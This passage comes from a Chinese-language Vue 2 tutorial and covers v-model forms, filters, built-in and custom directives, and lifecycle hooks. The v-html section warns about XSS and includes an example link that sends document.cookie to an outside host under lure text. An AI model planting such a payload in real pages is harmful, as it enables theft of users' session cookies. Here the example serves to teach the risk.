  • 当设置了 value 属性:
    • 如果 v-model 的初始值不是数组,则收集 checked 值
    • 如果 v-model 的初始值是数组, 则收集各个 value 组成的数组

v-model 的三个修饰符:

  • lazy:失去焦点再收集数据
  • number:输入字符串转为有效的数字
  • trim:输入首尾空格过滤

示例:

<!--20.收集表单数据.html-->
<div id="root">
  <form>
    <p>用户名:<input type="text" v-model="person.account"></p>
    <p>性别:
        男<input type="radio" v-model="person.gender" value="male"><input type="radio" v-model="person.gender" value="female">
    </p>
    <p>爱好1:
      吃<input type="checkbox" v-model="person.hobby1" value="eat"><input type="checkbox" v-model="person.hobby1" value="drink">
    </p>
    <p>爱好2:
      吃<input type="checkbox" v-model="person.hobby2" value="eat"><input type="checkbox" v-model="person.hobby2" value="drink">
    </p>
    <p>学校:
        <select v-model="person.school">
          <option value="">请选择</option>
          <option value="xiaoxue">小学</option>
          <option value="chuzhong">初中</option>
        </select>
    </p>
    <p><button type="button" @click="submit">提交</button></p>
  </form>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el:'#root',
    data:{
      person: {
        account: '',
        gender: 'male',
        hobby1: '',
        hobby2: [],
        school: '',
      }
    },
    methods: {
      submit() {
        console.log({...this.person});
      }
    }
  });
</script>

# 14. 过滤器

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

语法:

  • 注册:Vue.filter(filterName, fn)options.filters = { filterName: fn }
  • 使用:{{ xxx | filterName}}v-bind:属性 = "xxx | filterName"

备注:

  • 过滤器也可以接收额外参数、多个过滤器也可以串联
  • 并没有改变原本的数据, 是产生新的对应的数据

示例:

<!--21.过滤器.html-->
<div id="root">
  <p>getFormattedTime: {{ getFormattedTime(time) }}</p>
  <p>formattedTime: {{ formattedTime }}</p>
  <p>formatTime: {{ time | formatTime }}</p>
  <p>formatTime: {{ time | formatTime('YYYY-MM-DD') }}</p>
  <p>formatTime and slice: {{ time | formatTime | slice(0, 4) }}</p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el:'#root',
    data:{
      time: new Date(),
    },
    methods: {
      getFormattedTime(time) {
        return format(time);
      },
    },
    computed: {
      formattedTime() {
        return format(this.time);
      }
    },
    filters: {
      formatTime(value, pattern) {
        return format(value, pattern);
      },
      slice(value, start, end) {
        return value.slice(start, end);
      }
    }
  });

  function format(date, pattern = 'YYYY-MM-DD HH:mm:ss') {
    return dayjs(date).format(pattern);
  }
</script>

# 15. 内置指令

已经学过的指令:

指令 说明
v-bind 单向绑定解析表达式, 可简写为 :xxx
v-model 双向数据绑定
v-for 遍历数组/对象/字符串
v-on 绑定事件监听, 可简写为 @
v-if 条件渲染(动态控制节点是否存存在)
v-else 条件渲染(动态控制节点是否存存在)
v-show 条件渲染 (动态控制节点是否展示)

# 15.1. v-text

功能与 element.innerText 一致,且会转义传入的值

作用:向其所在的节点中渲染文本内容。

与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}} 则不会。

示例:

data = {
  message: '一段文本'
};

<div v-text="message"></div>

# 15.2. v-html

功能与 element.innerHTML 一致

作用:向指定节点中渲染包含 html 结构的内容。

与插值语法的区别:

  • v-html 会替换掉节点中所有的内容,{{xx}} 则不会。
  • v-html 可以识别 html 结构。

严重注意:v-html 有安全性问题!!!!

  • 在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS(跨站脚本攻击)。
  • 一定要在可信的内容上使用 v-html,永不要用在用户提交的内容上!

示例:

<!--22.内置指令-v-html.html-->
<div id="root">
  <div v-html="str"></div>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  // cookie 的 httpOnly 属性为 true 时,只能 HTTP 访问该 cookie, JS 不能访问
  // 如果服务端设置的 cookie 时 httpOnly 为 false,可能会导致 XSS 时信息泄露
  const vm = new Vue({
    el:'#root',
    data:{
      str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
    },
  });
</script>

# 15.3. v-cloak

本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉 v-cloak 属性。

使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}} 的(未解析的模板)问题。

示例:

<style>
  [v-cloak] {
    display: none;
  }
</style>
<div id="root">
  <div v-cloak>{{ xxx }}</div>
</div>
<script src="...../vue.js"></script>
<script src="...../main.js"></script>

# 15.4. v-once

v-once 所在节点在初次动态渲染后,就视为静态内容了。

以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能。

示例:

<script>
  data = {
    message: '你好'
  }
</script>
<div v-one>{{ message }}</div>

<!--  
  渲染之后,无论 message 怎么变化,页面都不发生变化(总是显示 “你好”)
-->

# 15.5. v-pre

跳过其所在节点的编译过程。

可利用它跳过 没有使用指令语法、没有使用插值语法 的节点,会加快编译。

示例:

<script>
  data = {
    message: '你好'
  }
</script>
<div v-pre>{{ message }}</div>

<!--  
  最终交给浏览器解析的片段是 

    <div>{{ message }}</div>

  而不是

    <div>你好</div>
-->

# 16. 自定义指令

使用:

<!--  
binding:
  arg: "text"
  expression: "1 + 2"
  value: 3

使用时:
  必须加 v-
  必须是 kebab-case 命名方式
-->
<div v-directive-name-one:text="1 + 2"></div>

局部指令:

new Vue({
  directives: {
    // bind、update 时调用
    'directive-name-one'(element, binding) {},

    // 定义时,不加 v-,可以是 kebab-case 命名方式
    'directive-name-two': {
      bind(element, binding) {},
      inserted(element, binding) {},
      update(element, binding) {},
    },

    // 也可以是 camelCase 命名方式
    'directiveNameThree'(element, binding) {},
  },
});

全局指令:

Vue.directive('big', (element, binding) => {});
Vue.directive('focus', { /* 配置对象 */ });

回调函数:

  • bind: 指令第一次绑定到元素时。(类比 created)
  • inserted: 被绑定元素插入父节点时调用,不一定已被插入文档中。(类比 mounted)
  • update: 所在组件的 VNode 更新时调用。
  • unbind: 指令与元素解绑时调用。(类比 beforeDestroy)

回调函数的参数:

  • el:指令所绑定的元素,可以用来直接操作 DOM。
  • binding: 对象,包含以下属性:
    • name:指令名,不包括 v- 前缀。
    • value: 表达式的值,如 v-my="1 + 1"value 的值为 2
    • expression: 表达式,如 v-my="1 + 1"expression 的值为 "1 + 1"
  • vnode
  • oldVnode

其他:

  • 指令定义时不加 v-,但使用时要加 v-
  • 指令名如果是多个单词,定义时可以是 kebab-case、camelCase,使用时必须是 kebab-case,

示例:

<!--23.自定义指令.html-->
<div id="root">
  <h2>n 的原始值: {{n}}</h2>
  <h2>(n + 1) 乘以 10 后的值:<span v-big:text="n + 1"></span></h2>
  <h2><input type="text" v-focus-bind:value="n"></h2>
  <p><button @click="n++">n++</button></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  Vue.directive('focus-bind', {
    // 指令与元素成功绑定时(一上来)
    bind(element, binding) {
      element.value = binding.value;
    },
    // 指令所在元素被插入页面时
    inserted(element, binding) {
      element.focus();
    },
    // 指令所在的模板被重新解析时
    update(element, binding) {
      element.value = binding.value;
    }
  });

  const vm = new Vue({
    el:'#root',
    data:{
      n: 1,
    },

    directives: {
      /*
      big函数何时会被调用?
        1. 指令与元素成功绑定时(一上来)。
        2. 指令所在的模板被重新解析时。
      */
      big(element, binding) {
        const {
          expression, // "n + 1"
          value,      // 2
          arg,        // "text"

        } = binding;

        element.innerText = value * 10;
      },
    }
  });
</script>

参考:

# 17. 生命周期

说明:生命周期回调函数、生命周期函数、生命周期钩子

生命周期函数:

生命周期函数 说明
beforeCreate -
created -
beforeMount 操作 DOM,最终都不会生效
mounted options.elvm.$el 替换了
beforeUpdate 数据不同步,数据变了但页面为更新
updated -
beforeDestroy 销毁的是自定义事件
destroyed -

图示:

life-circle.png

常用的生命周期钩子:

  1. mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
  2. beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁 Vue 实例:

  1. 销毁后借助 Vue 开发者工具看不到任何信息。
  2. 销毁后自定义事件会失效,但原生 DOM 事件依然有效。
  3. 一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了。
本章目录